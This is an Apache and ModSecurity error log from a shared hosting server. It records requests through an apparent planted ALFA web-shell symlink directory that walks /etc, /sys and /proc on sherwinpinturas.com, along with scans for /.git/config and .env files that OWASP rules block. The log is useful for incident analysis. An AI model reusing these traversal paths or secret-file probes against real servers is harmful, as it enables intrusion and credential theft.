[Sat Oct 24 04:57:30.641333 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 16.216.88.161:49152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/backupmxhosts
[Sat Oct 24 04:57:38.123931 2026] [ssl:error] [pid 2607254:tid 2607254] (70014)End of file found: [client 52.0.218.219:21288] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:57:44.436025 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.17:47130] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_iattrs_cache/trace
[Sat Oct 24 04:57:52.708453 2026] [core:error] [pid 2603780:tid 2603780] (13)Permission denied: [client 185.191.171.16:17216] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PINGv6/ctor
[Sat Oct 24 04:57:54.176174 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 3.215.59.93:20830] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:57:58.180007 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 54.83.56.1:48160] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/device:00/physical_node/remove
[Sat Oct 24 04:57:59.712457 2026] [core:error] [pid 2607235:tid 2607235] (13)Permission denied: [client 85.208.96.205:15304] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_cache/align
[Sat Oct 24 04:58:02.143115 2026] [ssl:error] [pid 2607254:tid 2607254] (5)Input/output error: [client 52.3.155.146:5505] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:58:06.133095 2026] [ssl:error] [pid 2607239:tid 2607239] (70014)End of file found: [client 34.194.95.99:45569] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:58:10.121898 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 3.94.156.104:1138] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:58:14.160846 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.205.213.231:47535] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:58:18.144997 2026] [ssl:error] [pid 2607852:tid 2607852] (70014)End of file found: [client 44.195.50.71:15285] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:58:26.129740 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 35.153.86.200:49373] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:58:30.294892 2026] [ssl:error] [pid 2607235:tid 2607235] (70014)End of file found: [client 184.73.167.217:30980] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:58:38.132091 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.213.202.136:5148] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:58:50.109538 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 52.71.216.196:2576] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:58:55.067988 2026] [authz_core:error] [pid 2607235:tid 2607235] [client 8.229.146.60:40016] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 04:58:55.692448 2026] [security2:error] [pid 2607844:tid 2607844] [client 8.229.146.60:40038] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/corp1/index.html"] [unique_id "atxzT8NaLWAkKTduNLx82AAAAAM"]
[Sat Oct 24 04:58:55.692489 2026] [security2:error] [pid 2607844:tid 2607844] [client 8.229.146.60:40038] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/corp1/index.html"] [unique_id "atxzT8NaLWAkKTduNLx82AAAAAM"]
[Sat Oct 24 04:58:55.704348 2026] [authz_core:error] [pid 2603780:tid 2603780] [client 8.229.146.60:40068] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Sat Oct 24 04:58:55.711747 2026] [authz_core:error] [pid 2607235:tid 2607235] [client 8.229.146.60:40016] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 04:58:55.884378 2026] [authz_core:error] [pid 2603780:tid 2603780] [client 8.229.146.60:40068] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Sat Oct 24 04:58:56.140134 2026] [security2:error] [pid 2603780:tid 2603780] [client 8.229.146.60:40068] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/escuelas2/index.html"] [unique_id "atxzUBVGFs5mlQ9y3Knd2AAAABc"]
[Sat Oct 24 04:58:56.140268 2026] [security2:error] [pid 2603780:tid 2603780] [client 8.229.146.60:40068] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/escuelas2/index.html"] [unique_id "atxzUBVGFs5mlQ9y3Knd2AAAABc"]
[Sat Oct 24 04:58:56.165192 2026] [authz_core:error] [pid 2607852:tid 2607852] [client 8.229.146.60:40056] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Sat Oct 24 04:58:56.526944 2026] [authz_core:error] [pid 2607852:tid 2607852] [client 8.229.146.60:40056] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Sat Oct 24 04:58:56.711359 2026] [authz_core:error] [pid 2607852:tid 2607852] [client 8.229.146.60:40056] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Sat Oct 24 04:58:58.935651 2026] [ssl:error] [pid 2608804:tid 2608804] (70014)End of file found: [client 184.73.167.217:36043] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:58:59.000101 2026] [ssl:error] [pid 2608806:tid 2608806] (22)Invalid argument: [client 85.208.96.209:26582] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:59:00.014541 2026] [ssl:error] [pid 2608808:tid 2608808] (22)Invalid argument: [client 85.208.96.209:26588] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:59:04.397108 2026] [security2:error] [pid 2608806:tid 2608806] [client 43.135.139.165:55368] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "atxzWJZIYei80W-XuujwWQAAABE"]
[Sat Oct 24 04:59:04.398120 2026] [authz_core:error] [pid 2608806:tid 2608806] [client 43.135.139.165:55368] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 04:59:06.150995 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 100.28.118.16:58363] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:00/physical_node/rescan
[Sat Oct 24 04:59:10.130044 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 54.84.161.62:26601] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:59:26.127237 2026] [ssl:error] [pid 2608663:tid 2608663] (5)Input/output error: [client 52.205.222.214:53420] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:59:30.262066 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.224.215.150:27826] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:59:34.143826 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 52.23.112.144:52746] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:59:42.226103 2026] [ssl:error] [pid 2607243:tid 2607243] (5)Input/output error: [client 52.73.142.41:61859] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:59:46.135869 2026] [ssl:error] [pid 2607235:tid 2607235] (70014)End of file found: [client 100.29.155.89:44514] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:59:54.137699 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 52.70.138.176:63096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/pci-stub/remove_id
[Sat Oct 24 04:59:58.154252 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 98.83.178.66:43996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS0/flags
[Sat Oct 24 04:59:58.680548 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 85.208.96.193:29134] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-128/free_calls
[Sat Oct 24 04:59:59.811091 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 85.208.96.204:19610] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_trie/remote_node_defrag_ratio
[Sat Oct 24 05:00:02.133764 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 35.174.253.85:56304] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:00:08.456332 2026] [authz_core:error] [pid 2607235:tid 2607235] [client 71.6.246.162:16978] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Sat Oct 24 05:00:10.123088 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 34.231.118.144:4731] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:00:14.211081 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 52.71.203.206:64242] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:00:14.211363 2026] [security2:error] [pid 2608810:tid 2608810] [client 52.71.203.206:64242] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:0b/subsystem/devices/LNXCPU:01/physical_node/driver/cpu1/node0/cpulist"] [unique_id "atxznqVWPMRLkHgZYZD48QAAABU"]
[Sat Oct 24 05:00:14.211408 2026] [security2:error] [pid 2608810:tid 2608810] [client 52.71.203.206:64242] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:0b/subsystem/devices/LNXCPU:01/physical_node/driver/cpu1/node0/cpulist"] [unique_id "atxznqVWPMRLkHgZYZD48QAAABU"]
[Sat Oct 24 05:00:18.271217 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.70.123.241:7763] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:00:22.902323 2026] [ssl:error] [pid 2607845:tid 2607845] (5)Input/output error: [client 34.192.67.98:57564] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:00:30.158933 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.45.77.169:21159] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:00:34.158276 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.0.41.164:4368] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:00:35.186446 2026] [core:error] [pid 2607235:tid 2607235] (13)Permission denied: [client 185.191.171.3:31352] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/slabs_cpu_partial
[Sat Oct 24 05:00:58.118295 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.45.77.169:41294] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:01:02.151994 2026] [ssl:error] [pid 2607235:tid 2607235] (70014)End of file found: [client 34.194.14.255:57038] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:01:06.122588 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 44.209.89.189:20173] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:01:10.182656 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 35.171.117.160:38623] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:01:14.258307 2026] [ssl:error] [pid 2607235:tid 2607235] (70014)End of file found: [client 54.91.122.193:29604] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:01:18.126656 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 18.213.27.222:6581] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:01:27.911648 2026] [authz_core:error] [pid 2608811:tid 2608811] [client 40.124.117.21:43148] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 05:01:30.129865 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 3.226.106.93:62649] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:01:34.119221 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.4.76.156:18334] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:01:42.335287 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 35.174.141.243:33729] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:01:50.123164 2026] [ssl:error] [pid 2607235:tid 2607235] (70014)End of file found: [client 34.202.88.37:1846] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:01:58.126699 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 98.84.70.201:17108] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:02:06.149322 2026] [security2:error] [pid 2608811:tid 2608811] [client 44.205.180.155:42415] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/subsystem/drivers/processor/cpu1/driver/cpu1/power/"] [unique_id "atx0Dg6rpxYYtVdDcXCmbQAAABg"]
[Sat Oct 24 05:02:06.149369 2026] [security2:error] [pid 2608811:tid 2608811] [client 44.205.180.155:42415] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/subsystem/drivers/processor/cpu1/driver/cpu1/power/"] [unique_id "atx0Dg6rpxYYtVdDcXCmbQAAABg"]
[Sat Oct 24 05:02:10.262034 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 18.215.24.66:42686] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:02:10.793682 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.11:44220] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCP/usersize
[Sat Oct 24 05:02:14.116791 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.85.126.86:12775] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:02:26.131974 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 34.206.212.24:12793] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:02:34.122245 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.164.106.236:40174] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:02:38.317938 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 34.236.135.14:56884] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:02:46.148519 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 52.45.29.57:60805] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/ata_piix/uevent
[Sat Oct 24 05:02:50.215104 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 3.89.176.255:29741] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:02:58.119111 2026] [ssl:error] [pid 2608731:tid 2608731] (5)Input/output error: [client 3.211.105.134:61221] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:03:02.159647 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.200.142.199:27416] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:03:06.149992 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 184.73.167.217:16903] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:03:06.150196 2026] [security2:error] [pid 2607243:tid 2607243] [client 184.73.167.217:16903] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory1/phys_index"] [unique_id "atx0SlGNStwISql-V9e7xAAAAAs"]
[Sat Oct 24 05:03:06.150274 2026] [security2:error] [pid 2607243:tid 2607243] [client 184.73.167.217:16903] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory1/phys_index"] [unique_id "atx0SlGNStwISql-V9e7xAAAAAs"]
[Sat Oct 24 05:03:14.122241 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 44.221.105.234:30362] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:03:34.120405 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 23.23.180.225:35487] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:03:52.874913 2026] [security2:error] [pid 2608811:tid 2608811] [client 31.184.195.248:60023] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.sherwinpinturas.com"] [uri "/"] [unique_id "atx0eA6rpxYYtVdDcXCmcQAAABg"]
[Sat Oct 24 05:04:02.388388 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 185.191.171.3:37786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/sanity_checks
[Sat Oct 24 05:04:05.531988 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atx0haVWPMRLkHgZYZD5AAAAABU"]
[Sat Oct 24 05:04:05.532241 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atx0haVWPMRLkHgZYZD5AAAAABU"]
[Sat Oct 24 05:04:05.532580 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atx0haVWPMRLkHgZYZD5AAAAABU"]
[Sat Oct 24 05:04:05.794747 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atx0haVWPMRLkHgZYZD5AgAAABU"]
[Sat Oct 24 05:04:05.795076 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atx0haVWPMRLkHgZYZD5AgAAABU"]
[Sat Oct 24 05:04:05.795481 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atx0haVWPMRLkHgZYZD5AgAAABU"]
[Sat Oct 24 05:04:05.795524 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atx0haVWPMRLkHgZYZD5AgAAABU"]
[Sat Oct 24 05:04:05.795537 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atx0haVWPMRLkHgZYZD5AgAAABU"]
[Sat Oct 24 05:04:05.960267 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atx0haVWPMRLkHgZYZD5AwAAABU"]
[Sat Oct 24 05:04:05.960682 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atx0haVWPMRLkHgZYZD5AwAAABU"]
[Sat Oct 24 05:04:05.960937 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atx0haVWPMRLkHgZYZD5AwAAABU"]
[Sat Oct 24 05:04:06.082405 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atx0hqVWPMRLkHgZYZD5BAAAABU"]
